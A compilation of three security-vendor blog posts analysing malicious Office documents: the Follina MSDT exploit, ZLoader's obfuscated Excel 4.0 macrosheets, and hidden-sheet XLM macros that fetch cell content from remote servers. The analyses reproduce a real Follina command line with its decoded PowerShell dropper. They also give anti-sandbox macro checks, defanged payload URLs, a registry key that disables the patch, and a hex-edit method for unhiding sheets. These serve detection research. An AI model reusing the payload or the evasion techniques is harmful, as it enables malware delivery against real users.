Follina, the Latest in a Long Chain of Microsoft Office Exploits

2022-06-23

This was a rough year for the Microsoft ecosystem as 2017 also carried the infamous CVE-2017-0199 and CVE-2017-11882 (Equation Editor) vulnerabilities, arguably the heaviest abused CVEs by malware in the years since. In 2019 we saw the rise of “macrosheets”, a backward compatibility feature of Microsoft Office that provides support for macros from Excel 4.0, released in 1992. Take a look at Figure 2 to get a feel for how arcane this functionality is.

Figure 2: Microsoft Excel 4.0

The “macrosheet” vector was quickly and widely adopted by malware distributors and it continued to be a favorite until this year. In 2021 we saw CVE-2021-40444, a Microsoft MSHTML vulnerability discovered being exploited in the wild.

This brings us to 2022. On May 27^th, @nao_sec Tweeted about a suspicious document pivoting through Microsoft’s Support Diagnostic Tool via the ‘ms-msdt’ scheme. The timing of this in-the-wild discovery coincided with a US holiday, and over the weekend the vulnerability picked up the name “Follina”. On May 31^st, we saw an official acknowledgment from Microsoft and formalized on CVE-2022-30190.

Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code.https://t.co/hTdAfHOUx3 pic.twitter.com/rVSb02ZTwt
, nao_sec (@nao_sec) May 27, 2022

Figure 3: Tweet from @nao_sec.

However, this isn’t the beginning of this story. If we look further back we can find in-the-wild document carriers exploiting CVE-2022-30190 in mid-April:

April 8th, 2022: d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7 on InQuest Labs

April 12th, 2022 : 710370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bf on InQuest Labs

The plot thickens even further when we consider that in August of 2020, Benjamin Altpeter published a bachelor thesis titled “An Analysis of the State of Electron Security in the Wild” which outlined this very issue with MSDT.

The flaw is trivially exploitable and results in arbitrary code execution. As we’ve seen with similar vulnerabilities in the past, the simplicity and efficacy of this vulnerability lends itself to rapid adoption by malware authors. Fortunately, a patch is available as of June 14th and before the patch a simple mitigation could be applied to disable the ‘ms-msdt’ schema:

reg delete HKEY_CLASSES_ROOT\ms-msdt /f

This vulnerability has garnered more attention than any other CVE this year and rightfully so. It is highly recommended that defenders patch this issue immediately. APT actors such as TA413 and Sandworm have been seen leveraging this flaw to target Tibetan and Ukrainian assets, respectively. Microsoft identifies malware exploiting this vulnerability as “Mesdetty”.

A Deeper Look

While additional vectors have been discovered via FoxIt Reader and even RTF via the preview pane, the initial samples began with a Microsoft Office document containing a remote object reference that pivots through the msdt.exe binary, as seen here:

"C:\WINDOWS\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"

Note that the next stage of the payload is encoded in base64 above and shown here decoded:

$cmd = "c:\\windows\\system32\\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\\users\\public\\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe"

No buffers. No heap fills. No type-confusion. A simple path to executing arbitrary Powershell directives. Looking at the patch Microsoft released on June 14th, @80vul highlights the Regular Expression based command-line argument filtration in a Tweet as depicted in Figure 4:

Figure 4: Regular Expression command-line filter patch.

If history is to teach us a lesson, this approach will likely be insufficient as researchers or attackers tinker with ways of bypassing the filter. On a final interesting note, it is possible to disable this patch by setting the following key to a DWORD value of 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\ScriptedDiagnostics\TurnOffCheck

Further Resources

For further research see the PoCs, samples, and indicators listed below.

Public Proof-of-Concepts (PoC):

Real-world Malware Samples:

Indicators of Compromise (IOCs):

Free On-Demand Webinar: Think Before You Click

Whether sent as an email attachment, sitting in your cloud or traversing the Web, file-borne threats have become a proven favorite for delivering malware and phishing campaigns. View our webinar on-demand and get firsthand tips about how to safeguard your cybersecurity stack with File Detection and Response (FDR) and stop file-borne threats in their tracks.

Originally published 2022-06-23 on the InQuest blog.

ZLoader 4.0 Macrosheets Evolution

2020-05-06

In January of 2019, we published a blog titled "Extracting 'Sneaky' Excel XLM Macros" that detailed a technique attackers had adopted for embedding malicious logic under a less understood facet of Excel Spreadsheets, Excel 4.0 macros aka XLM macros. In March of this year, we published "Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros", that evolved the stealthiness of the approach through the remote embedding of later-stage content via Excel DCONN records. Today, we uncover yet another iteration on this tactic. We are examining a novel and advanced obfuscation scheme with macrosheets embedded in the (newer) Office 2007+ format, versus the legacy OLE format (Object Linking and Embedding).

Initial Samples, Low Detection Rates

Tracing back through recent history, the first sample we're able to identify from this campaign appeared on VirusTotal on Monday, May 4th (Star Wars Day): InQuest Labs: 955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd VirusTotal: 1/58 Detection rates for this and all related samples is rather abysmal, with decent coverage coming from just a single vendor, Qihoo-360, identifying the threat as Macro.office.07defname.gen. While this sample was the earliest, the first sample that caught our eye, and the primary one we'll be examining below is: * 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf You can download this sample to follow along yourself through our open data portal, InQuest Labs. Let's start by highlighting the "hidden" / "very-hidden" sheets and obfuscated AutoOpen hook from xl/workbook.xml:


  ...
  <sheets>
    <sheet name="Sheet1" sheetId="1" r:id="rId1"/>
    <sheet name="Izdxo9x56IFL1JQZhlGzFBCxVIEmmW" sheetId="2" state="veryHidden" r:id="rId2"/>
  </sheets>
  <definedNames>
    <definedName name="_xlnm.Auto_openhFX8u" hidden="1">Izdxo9x56IFL1JQZhlGzFBCxVIEmmW!$AG$4609</definedName>
  </definedNames>
  ...

The Microsoft Office suite provides a large, feature-rich, backwards compatible, and ever-changing landscape for malicious actors to discover and leverage new threat tactics. Weighing in at 10's of millions of lines and countless installations globally, it's not hard to see why attackers favor the platform. This novel tactic for pivoting to the execution of embedded logic is the latest in a long and seemingly never-ending trail of successful creativity.

An Effective Detection Anchor

One consistency among non-exploit-based malware lures is the need to coerce the target into enabling the execution pivot. The requirement for user consent is a double-edged sword. On the one hand, it reduces the immediate impact of the threat. On the other, multiple interactions (consider the DDE based command execution tactic from 2017) can result in lower detection rates. A common tactic that has remained consistent for years is the usage of embedded media to coerce the target user into taking a wary action. This campaign is no different; here's an example sourced from xl/media/image1.jpg:

Fig 1. Coercion Lure.

Notice the feint green-on-green coloring and low image fidelity. Undoubtedly designed to bypass attempts at Optical Character Recognition (OCR). The choice of JPG over PNG for this image would make a graphic designer cringe, but the lossy format plays to the attackers favor. It's prudent for us to note that InQuest OCR is more than capable of discerning accurate text and producing an alert on the image alone. We can search InQuest Labs for samples that trigger our coercion heuristics. From a sampling of lures associated with this campaign, here is the breakdown of embedded image hashes:


                             Key|Ct (Pct)    Histogram
6b435bbf9b254681dafd6abf783632ac|10 (13.16%) -----------------------------------
667de8e48255ae7183077b889a271c1e| 8 (10.53%) ----------------------------
d98d763d6ca4f1c736b3fbc163669224| 7  (9.21%) ------------------------
d59b82fd9504ba9b130c0d048b492a10| 6  (7.89%) ---------------------
cdb3950c2a0e342c793ccdc1eb566803| 5  (6.58%) ------------------
98e8cd0a87fb4f3549a15c1e52043df4| 5  (6.58%) ------------------
879ee929dd80ff750e442e3e0befda6b| 4  (5.26%) --------------
63282400dbdeb0dc7382bd86d768cfd7| 4  (5.26%) --------------
4a20b2d5bb46837bae61d73291712319| 4  (5.26%) --------------
444520d98f7fe4b6dd0da106ab87a1fb| 4  (5.26%) --------------
075356a385451f7a14d7322cd334f2b7| 4  (5.26%) --------------
fa9dbfda5aebfd3d4a8b4c198e38e4bb| 3  (3.95%) -----------
dd607e4daa5b52d1cc0353bf484296e4| 3  (3.95%) -----------
2764db07e1a670674a65b9f7c3417487| 3  (3.95%) -----------
01ef5c035ec3aa501b9ab085e862a34f| 3  (3.95%) -----------

Intelligently, the attackers have decided to modify the image dimensions slightly to reduce detection exposure on the media asset. This is a less commonly seen tactic, let's explore the most common images by dimension (instead of cryptographic hash):


    Key|Ct (Pct)    Histogram
574x345|29 (38.16%) ------------------------------------------------------------
579x345|20 (26.32%) -----------------------------------------
568x345|13 (17.11%) ---------------------------
563x345| 8 (10.53%) -----------------
585x345| 4  (5.26%) ---------
607x361| 1  (1.32%) ---
385x393| 1  (1.32%) ---

We can see more overlap with this "fuzzier" approach. This extra step taken by the operators to evade detection shows an increased level of sophistication, especially when you consider that many attackers leave valuable XMP identifiers in their graphical assets that can be used as a fast/ accurate detection anchor, as well as a pivot point for mapping relationships between samples. Browsing the graphics embedded in the variety of captured samples, they're all the same with the exception of that last one (385x393), which belongs to sample e468618f7c42c2348ef72fb3a733a1fe3e6992d742f3ce2791f5630bc4d40f2a and carries the following image:

Fig 2. Roflanbuldiga.

Apparently a "roflanbuldiga"? @RoflanB. No conclusions can or have been drawn from this graphical asset, it's just interesting to note. In the next section we'll take a glance at some of the novel obfuscation tactics employed by this campaign to deter detection.

Obfuscated Macrosheet

Download either the extracted macrosheet with XML tags stripped, or, a trivially reformatted version that we've prepared to ease readability:

XML stripped macrosheet: 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf
Formatted macrosheet: 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf.formatted There are several interesting obfuscation techniques that are used to evade detection and also complicate automated / manual deobfuscation processes. Fig 3. "veryHidden".
The macrosheet is flagged as veryHidden (recall from our previous blog that the BIFF file format supports binary level flags for hidden and very-hidden) and contains a defined name that will execute automatically on open _xlnm.Auto_openhFX8u, this is different than the familiar auto_open and related derivatives. Defenders should note that these names are NOT case-sensitive and that regardless of what suffix is appended to the defined name, Microsoft Excel will autostart the embedded logic. Digging further, note the following: Fig 4. FORMULA.FILL().
It relies on FORMULA.FILL() to generate code. After each FORMULA.FILL() we have a "jump" through usage of the RUN function. While still under active development and not currently supporting all the features of this sample, usage of XLMMacroDeobfuscator can assist us in dissecting further: Fig 5. Loading Cells.
The code first fills several cells with a few numbers derived from the current date (NOW()) and the properties of several cells such as their height or their font color (GET.CELL()). For example, GET.CELL(17, EC9093) returns the height of the row which cell EC9093 resides on (i.e., row 9093). To learn more about GET.CELL() take a look at this Excel 4.0 Functions Reference.
The first cell that contains the obfuscated formula is AK47754: Fig 6. Cell AK47754.
To deobfuscate each character of the formula, the macrosheet logic performs calculations based on two cell values, the value of one cell is already there, the value of the other one calculated based on the current date or some properties of the other cells. In previous samples, they relied only on one calculated value (current date or properties of some cells) to decode all the characters in one formula. As a result, if we could guess what would be one of the deobfuscated characters in the formula, we could find out the calculated value. In fact, we know that the formula always starts with an equal sign (=). As a result, it was trivial to compute the calculated value without knowing the target date or retrieving the properties of other cells. For reference, see the following Tweet from Amir (@DissectMalware). Unfortunately, this oversight has been since addressed by the campaign operators. To deobfuscate a formula, we must now calculate several values. Another change is that all the deobfuscated formulas are scattered over the macrosheet makes it harder to analyze the whole code. In the following YouTube video, we describe in details how one can manually deobfuscate macros in these samples:

YARA Hunt Rule, Samples, Shunting

InQuest customers can find protection for this and related samples through both our signature-less machine-learning model-based detection engine, as well as a number of our bundled heuristic signatures including event IDs: 1000037, 1000047, 3000562, and 4000173. These signatures rely heavily on the pre-processing and normalizing from our Deep File Inspection (DFI) engine. Additionally, we're open-sourcing a suitable YARA hunting rule for Virus Total Intelligence. A simple rule that looks for standard named macrosheets (note, these names can be altered) within the compressed XLS* format can be found in our public yara-rules Github repository Github/InQuest/yara-rules. While the complete collection of malware samples can be found on InQuest Labs. We have additionally made a collection of 20 samples and their extracted macrosheets available for download in our public malware-samples Github repository our Github repository Github/InQuest/malware-samples. Shout out to @seraphimdomain and @James_inthe_box for initially collaborating with us! As mentioned, this threat evaded detection by most static and dynamic analysis tools we tested. One of our sandbox partners, Joe Security was able to detect the obfuscated macrosheet. Additionally, note that in the behavior graph excerpt from Joe below, the network connectivity is benign. The malware sample is able to "shunt" between the operator's real infrastructure and benign infrastructure based on the validity of the target. Again, a sign of sophistication. The full behavior report is available here. Fig 7. Joe Sandbox Behavior.
Let's dive deeper into this concept of network shunting, a tactic known to be in use by the Zloader operators. If the underlying system does not meet the infection requirements as defined by the operators, then the malware logic suddenly changes paths, and "shunts" to an alternative payload. Here is an example of the operating system of the analysis machine not meeting the proper criteria and being "shunted" to a benign Microsoft Azure Cloud IP and domain.
```
skypedataprdcoluks04.cloudapp[.]net
52.114.158[.]91 AS8075 | US | MICROSOFT-CORP-MSN-A
```
An example where the criteria requirements are satisfied and the resulting network traffic connects to actual infrastructure, can be found in this behavioral analysis report from any.run. Fig 9. GET Request. Unfortunately, the payload was offline by the time we attempted to acquire it:
- hacked wordpress account: shetkarimarket[.]com
- shared hosting IP: 160.153.133[.]148 AS21501 | DE | GODADDY-AMS
Relationship Graphing
A core facet of the InQuest platform is drawing relationships between related campaigns through a variety of identified "pivot anchor" such as embedded IOCs. You can get an idea for some of these capabilities through the DFI section on InQuest Labs, which allows for searching for and clustering samples based on a variety of shared anchors. Researchers with access to Virus Total Intelligence can leverage the graph interface to build visual clusters of these representations. This is a work in progress that we'll add additional information to in the future, but to give a high-level glance at the process, we depict an overview here: Fig 8. Virus Total Intelligence Graph.
Additional Observations and IOCs
As another quite aside, we can automate the extraction of relevant IOCs from InQuest Labs via our open API. In the following example we're mixing direct access via 'curl' as well as showing off python-inquestlabs a command-line interface and importable library that provides a Pythonic interface over the API:
```
$ for hash in curl -s "https://labs.inquest.net/api/dfi/search/alert?title=Macrosheet%20CHAR%20Obfuscation" | jq -r '.data[].sha256' | sort
do
  echo $hash;
  for ioc in curl -s "https://labs.inquest.net/api/dfi/details/attributes?sha256=$hash" | jq -r '.data[] | select(.attribute=="url") | .value'
  do  echo "    $ioc";
  done
done
```
For an continuously updating list of matching samples, search InQuest Labs for the CHAR() Obfuscation, as of the time of this writing, the following list of hashes is nearly complete:
01b9b8580230a33a84fa39cf8238fef4d428cd9cf83f9acfb449626ee5b8ea8c InQuest Labs, VT
01eb92643ad7c0d6f962cef1058c0b7bf2cea2ffb26f1addb528aa51d0d801be InQuest Labs, VT
034727d9d7d2405e5c8dc7e7389fbbdee22e9a30da244eb5d5bf91e4a1ba8ea7 InQuest Labs, VT
05d8a7144a984b5f9530f0f9abe96546cfec0ad2c8cdc213bc733d7e14e750df InQuest Labs, VT
06ac09e487c9892aa0389ab18eaf49b3156ccb385c73eea17ebee49ffc6cc2c9 InQuest Labs, VT
0de8f64c4547649d613fec45cb7a3c6b878753045c448ac5aa4a09879ed14c9c InQuest Labs, VT
0f27a954be7a868f71e0635e1f31c294a3dbd48839372c05b99de981789f162d InQuest Labs, VT
0f75b7f01e21ea4fa028c2098f5e98ef2cb5b65aea0799a38323ea762c84ea21 InQuest Labs, VT
10f79daf80a8c4c608fb6cfa7e1d7764dbf569a9a15832174225dda3c981062a InQuest Labs, VT
16fc7fc8328ebb1e695917017bfda60408e2c6d0b6de5d56f4e14b0dca05cb06 InQuest Labs, VT
18305d1efe2efa29dfcdffbfbb8a9f7900ae09f4a3c833aa1a756dea150a1733 InQuest Labs, VT
23378ceac2d30515419a0a4e51c009eba6f910173e09e1292820277804e6b26b InQuest Labs, VT
2418faaee50d2f14c9d2140d2d5e08933b3ce772cc624540f60baaa6757c8ae6 InQuest Labs, VT
284c7be60b77434f91fce2572e45adddca0cdfb25cce4cf63bc4f7e1c17e1025 InQuest Labs, VT
2abbf872f2f44cb8b8fb2bbd7bb0fdc4f6be4eec8098ce97dd931e5953082010 InQuest Labs, VT
3611917480763942f7b8a2e7b407b081059a305bd6fa2a2c0f017a5f8520dbac InQuest Labs, VT
3c4d881f9b9ca8a4a2387f79640d914b0c14792030fb9c762bf65b9e3503f3b8 InQuest Labs, VT
3f73d0063b3eb141f7847c2f5477aff0c95a8f70998b9baa55059bdf74f70525 InQuest Labs, VT
44457b45620327b7bddd7e441a8a369de22dd568457193de0e3317bdda09b4fd InQuest Labs, VT
44558f2bf67d9fb936abd4d28df3efedfa9a863db88158ec3a8d31463c4033e1 InQuest Labs, VT
4538af0fe8dd2c8477f4f0f62a1b468de0af46a681a79ffbc2b99d839c13b826 InQuest Labs, VT
467c668373171fa4900025633e43ddb6e2aea0a2b44573f0648323374404b4ab InQuest Labs, VT
477bf4d158decc2388692fce07c01c73ab94b1002938b50e9df20422230e48da InQuest Labs, VT
4977447b055636772f26ab45416a2580c40bd49963e49687327958fd1700af84 InQuest Labs, VT
4c01b534c5a654e7d1441c34bbc842d6616164f6d547f1c5e8d72040bd934d90 InQuest Labs, VT
4e105f96511b17aab8bbf9d241a665b466e4d0c4dd93af83710ec6423ceb1b0f InQuest Labs, VT
54e24143d4534279197382e3de600d9c9da61809044608d2a0dde59234b9dfe6 InQuest Labs, VT
5690149163be72ab526817ce42254efdfac36cc909656fc9e681a1fc2dec5c68 InQuest Labs, VT
56f1feda6292a6d09ad5fae817bdd384e7644a9990a9fe2fdabf2df013018d54 InQuest Labs, VT
58e2b09425bb741c3e61f76d59d4528a548fbad248649c50fc38b37044ad7947 InQuest Labs, VT
5d126829d37640cd200e99af723b681eff45ed1de3bfbcb0e3c1721c15dfc651 InQuest Labs, VT
60e71559052012c4ba8c306057712da64d8f9f0a9767ed8e69cd38609841e079 InQuest Labs, VT
6654a38cba97469680b916233fa9e3a2cf97a1f6f043def9c76a64fb285f32de InQuest Labs, VT
6d61f0ca90d9872906dd224ff4757150b346acba0977a1106bf51b45b8229db1 InQuest Labs, VT
7951eeb4e888889f8384c75bcf094c5d901ea036c09af0ab0a6bcccfa9375e2d InQuest Labs, VT
7b40c9372dbf3bf008d07fcd94cf9677d80771be5cbf2682ea2004c4c27b2cd2 InQuest Labs, VT
7cce4070d19cb5aaaf5d8ebc92fc3d5fa1cc15112fb2ce750106baca1cfd76c8 InQuest Labs, VT
8718b3c22083fe5185a6781ac1c58a009e859c0e0e00833f0b4a6df58e4468e4 InQuest Labs, VT
89a2f612e3b86974e862334844991e0fc60ff1c2aca26498722670713bb2553a InQuest Labs, VT
8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf InQuest Labs, VT
8e0ffc819b4abaa2753120547ffd70d0d1868b5ad6f269c06eb2ef19cf24eefc InQuest Labs, VT
905bd680d5fcb70da36847406655dd9aaafabff2329e46e2dd89667f9434de92 InQuest Labs, VT
9267ebb91110d9c686bd83ed9c6bade5c5066220873f11e756112dd5a53a4eca InQuest Labs, VT
9309ec88e2ce12fd2304a5007feee41f11b3ce51510c96f95bf64d3770a2064b InQuest Labs, VT
955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd InQuest Labs, VT
95d7f675d8c63be4aa86df6670537638557589b2e98a0d3f4087800d05fb7e04 InQuest Labs, VT
97489f14edf02081943ba6bdc4f8ddc61b489c2d114eff2fc560f6225f3c8907 InQuest Labs, VT
9a986ac244f8f65bc151cac813228ab38c9882b37f40d0e4c44ca15ac5ef6353 InQuest Labs, VT
a3c2b927224bf96e9c92c7430a42dd0b399d72e27d54edafada375ab5a91871c InQuest Labs, VT
a86275faa2934c1b5de6796b7aba5b4b17d1bc33c2c69eeb0aa8a6d560fb3230 InQuest Labs, VT
ac1faa3883789dfe81791ba5e653a38b2a89a397dab952a962c642dc89f2c514 InQuest Labs, VT
ad2089580d0aa874ef3ecdc8e88487f552e760d32028ddf35574f3d7020ec61c InQuest Labs, VT
b77d17b89be9ae351c496c22750a132020668ae4342b05f00f8430ce4cbb4792 InQuest Labs, VT
bd7cdfe5d7164ccfd251fbec6d2256a765b496bfff8e72358800fd6f416f785f InQuest Labs, VT
bd8e014f428f455df4347aa27a9281a6cfdb6b3375699ef8e581ca05790c5aa1 InQuest Labs, VT
c5ef34f410d708520bc5d56cac0d418fed0a8316d53c5e737c28d1a3480fd559 InQuest Labs, VT
cdacf5204c7c0ccb7d936ddb684306a80e54a177735c8742eb38d600eb6e7eb7 InQuest Labs, VT
d07556af26a8c273f112725a4171898fb7a29ac9b5c1e075cfa2494d4ab9a820 InQuest Labs, VT
d1506e2684cba9fc75b909d2b6acbcd9ba8c7ce613fd464e147bd6d2e217ae78 InQuest Labs, VT
d8374f78c29ed45265ca65a13b4a84bb2ad6eed434fdd2d9af75394753a7cfb8 InQuest Labs, VT
d886df7150bc956ecdae96ad119845558c4413b03383c219c99e175ab219a39e InQuest Labs, VT
dbc2e390b9fbd9bbb046cb38582a125aec405cda17a71c29ed2a25abb6c63855 InQuest Labs, VT
dbfd7810f2198eee4d92313db61b13ca702946a72c38c3498a99d5ac3943c0de InQuest Labs, VT
de511a3682b5a7a0c239395eb53fcce01b2f2d265ce56f477ab246b0df63c9cc InQuest Labs, VT
de534a59a6b5a0dab1cde353473657d1a3fb2bd4a8839cf8555afadc8aabbf72 InQuest Labs, VT
de9ef9ddcc649559b3166ba13b73da19da93b33bda401e4007190253964aaed4 InQuest Labs, VT
e11f77f4fb5dfa34ad52137aa8bda5555ba962528b7e39db4b0a71ec138ed79f InQuest Labs, VT
e468618f7c42c2348ef72fb3a733a1fe3e6992d742f3ce2791f5630bc4d40f2a InQuest Labs, VT
e75c0c54aeffac6316e56d1e9c363008b5de12de264da4498efa5d56b14e153f InQuest Labs, VT
f2a41bbae3de5c4561410e71f7c7005710d1f6f0874f6add0ec5f797dce98076 InQuest Labs, VT
f39f7ee103e33432a5faa62ab94bbf29476f0f7d41f5683a257e648a11d69e43 InQuest Labs, VT
f405e108872cdfe8ea3d9a57a564c272c2d738316bce3c40df79eeeb312409ab InQuest Labs, VT
f4e43a4ef567bf7f3c057478f6eaefb62f7ef57e76bce2275e3eb536be942480 InQuest Labs, VT
fd493baba5aaf55b0d9a6f317b66983b20559a673358f472991c528823257b40 InQuest Labs, VT
fd961ad277c047ec93d0fb8561ecce285bb9263de2408ba60ef8efd53013549d InQuest Labs, VT
fe13dcf6fe72e89413d4b4297205b4ffeab39384f127d18b1d43c89aebe6d6a8 InQuest Labs, VT The following samples were observed to follow a different attack sequence while matching Zloader sample patterns. After further analysis, these hashes were discovered to belong to the Dridex family of banking trojans:
1cddbb162a43e08997bab20b8a2926495763a117dec8c0cbf898844a23d7d2b1 InQuest Labs, VT
316edaff165c6148de4f6672c867da1a3ac3ababd2d1709f2f4c695d4fe637fc InQuest Labs, VT
7217d06b0c3860cd671a95db5df024b64592788634e71683389843693f1ef9cf InQuest Labs, VT
79f8ab4f45113916fcc6e46289f38df6e3db49e47621b439d4df4c3e0145f3d7 InQuest Labs, VT
c01e9dc36e11c8ea226f076e31914272e6f6dc58afea557242c6da44d9985fbb InQuest Labs, VT
c07f9c7bc2614979354299183a4b0bdf1729af65b36d6b3bc612b8e7947737b0 InQuest Labs, VT
c5b99d2371f542cf90063ce1ea55c2dd621658baeb19520737faa7850b1dd9f6 InQuest Labs, VT
d1c53de4faccb95a8fe202541aa17147dc5e171dee6f2a26b167794bb7f335ad InQuest Labs, VT
ff0f168140bc9deba47986c40e1b43c31b817ad2169e898d62f4f59bb4996252 InQuest Labs, VT
- Payload URL: hxxp://ginduq[.]com/glex.exe
- 8.208.78.74 AS45102 | CN | CNNIC-ALIBABA-US-NET - Alibaba (US) Technology Co., Ltd.
For further details, comments, and suggestions... please reach out to the team on Twitter @InQuest.

Originally published 2020-05-06 on the InQuest blog. Written with William MacArthur and Amirreza Niakanlahiji.

Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros

2020-03-18

Introduction

In January of 2019, we published a blog titled "Extracting 'Sneaky' Excel XLM Macros" �that detailed a technique attackers had adopted for embedding�malicious logic under a less understood facet of Excel Spreadsheets, Excel 4.0 macros aka XLM macros.

Over the past few weeks, we have observed a surge in maldocs leveraging XLM macros. A trend that other researchers have noticed and provided analysis on. Examples include "A Safe Excel Sheet Not So Safe" written by Xavier Mertens, as well as "Excel 4.0 Macro MalSpam Campaigns" written by Diana Lopera.

In this post, we provide a detailed analysis of an interesting campaign that is tied to a variety of executable payloads, a subject matter we'll be covering in a future blog. As of the time of writing, detection rates for this class of attack are relatively low, and these samples happily bypass the internal GSuite and O365 protection mechanisms.

We'll dive into the analysis of two separate documents. The first one was attached to an email that was sent to us directly by the threat actor in late February (offline). The second was captured on March 17th, and in this case, the C2 servers are currently active.

Document One: inv-27101.xls

sha256: a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af |�InQuest Labs - InQuest.net�|�VirusTotal

Document Two: Invoice85005.xls

sha256: bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f |�InQuest Labs - InQuest.net�|�VirusTotal

�

Analysis of Document One: inv-27101.xls

Depicted below is a graphic extracted from this malicious document lure. This is a common tactic employed by attackers today. To embed coercive text within an image in an attempt to bypass string-based detection engines while social engineering the target into activating the embedded logic. This document has one Excel sheet and one hidden macrosheet:

The macrosheet can be easily unhidden through the Microsoft Excel UI/UX, as seen here in this animation:

Once the target user enables the active content, an Auto_Open sequence is activated that pivots to the cell D49, the contents of which are shown here:

This embedded macro first checks a few conditions before executing its primary directive, exiting early if any of the following conditions are not met:

The cell containing GET.WORKSPACE(19) ensures a mouse is present.
The cell containing GET.WORKSPACE(42) ensures that the system is capable of playing sounds.
The cell containing GET.WORKSPACE(1) ensures that the environment is Windows.

These routines are anti-sandbox tactics. The actor wants to ensure that the sample is not being detonated by a behavioral analysis tool. To learn more about the GET.WORKSPACE() function, see Excel 4.0 Macro Functions Reference.

Assuming the conditions are met, the primary directive stored within the cell labeled 'asdf' is executed. Let's take a look at the cell 'asdf', depicted below:

This logic checks for content in the cell U113 of the first sheet every 2 seconds, in search of the string 'LOS'. The loop is continued while there is a matching; otherwise, execution continues within the I66 cell, which is pointed by 'sfgdfsh' label. The code on line I66 to I69, basically copies the cells U110-U113 in Sheet1 to I70-I73 cell in the macrosheet.

If you check the content of U110 to U113 cells on the Sheet1, without enabling the active content, you see that these cells are empty. This is the most interesting aspect of this campaign as, so far as we know, a novel technique. A "web query" object is utilized by the maldoc to pull cell content from a remote URL. The web query sends the request to this remote server upon document activation and keeps sending requests every few seconds after. One can see the reference URL (hxxps://pnxkntdl[.]xyz/KJSDBViad7) in clear text by simply opening the document in a hex viewer for example:

To further analyze how the URL is triggered, we'll use BiffView�to parse the Excel document. If you search for the byte sequence '68 74 74 70' ("HTTP") you'll find that the URL lives within a BIFF DCONN object. This object triggers the web query, see the relevant flags highlighted in the depiction below that aligns the BIFF record with the relevant documentation:

The data returned from the remote URL is an XHTML (XML) document.

And the web query content is enclosed within the '<PRE>' element of that

The web query requests and responses are sent over an encrypted channel (HTTPS). To pierce into the communications between�Excel and the remote site, we use mitmproxy. By default, mitmproxy listens on 127.0.0.1:8080. We change the proxy setting of the system to redirect all traffic through 127.0.0.1:8080:

The following content was returned from the remote URL, when the web query was executed in our lab:

<html> <head><base href="/lander/excel4_1581586732/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> <pre> =CLOSE(FALSE) =CLOSE(FALSE) =CLOSE(FALSE) =CLOSE(FALSE)"</pre> </body> </html>

The content of <pre> element is copied to the cells U110 through U113. Because the resulting content of U110 will contain the substring 'LOS', the macro will loop and checks again within two seconds. This retrieved payload is completely benign. So what's going on here? This is good operational security on behalf of the actor. The remote server has not deemed us worthy of receiving the next stage of this malware. Perhaps the restriction is regional, maybe something else, luckily.... we got another document.

Analysis of Document Two: Invoice85005.xls

Similar to the previous sample, this one contains an Excel sheet and "very" hidden macrosheet. Very hidden macro sheets can not be revealed via a simple UI/UX toggle. They must be hex edited to be visible within the native Excel application. See our previous blog�for more information. Again, a graphical lure with coercive text is used to entice the user into activating the embedded logic:

To unhide the macrosheet, we use Hexinator to change the type of the macrosheet manually. We know from previous research that a hidden and a very hidden sheet starts with "85 00 ?? ?? ?? ?? ?? ?? 01 01" and "85 00 ?? ?? ?? ?? ?? ?? 02 01" patterns respectively. To unhide these sheets, we just need to set the ninth byte to zero, as shown here in an animation:

Again, the macro checks a few conditions:

=IF(GET.WORKSPACE(42),CLOSE(TRUE)) =GET.WORKSPACE(13) =GET.WORKSPACE(14) =IF(H24<770, CLOSE(FALSE),) =IF(H25<381, CLOSE(FALSE),) =IF(GET.WORKSPACE(19),CLOSE(TRUE)) =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ON.TIME(NOW()+"00:00:02", "agawf23f"),CLOSE(TRUE)) =RETURN()

it also checks whether the macrosheet is hidden

=WORKBOOK.HIDE("0TQ1ByZPP5", TRUE)

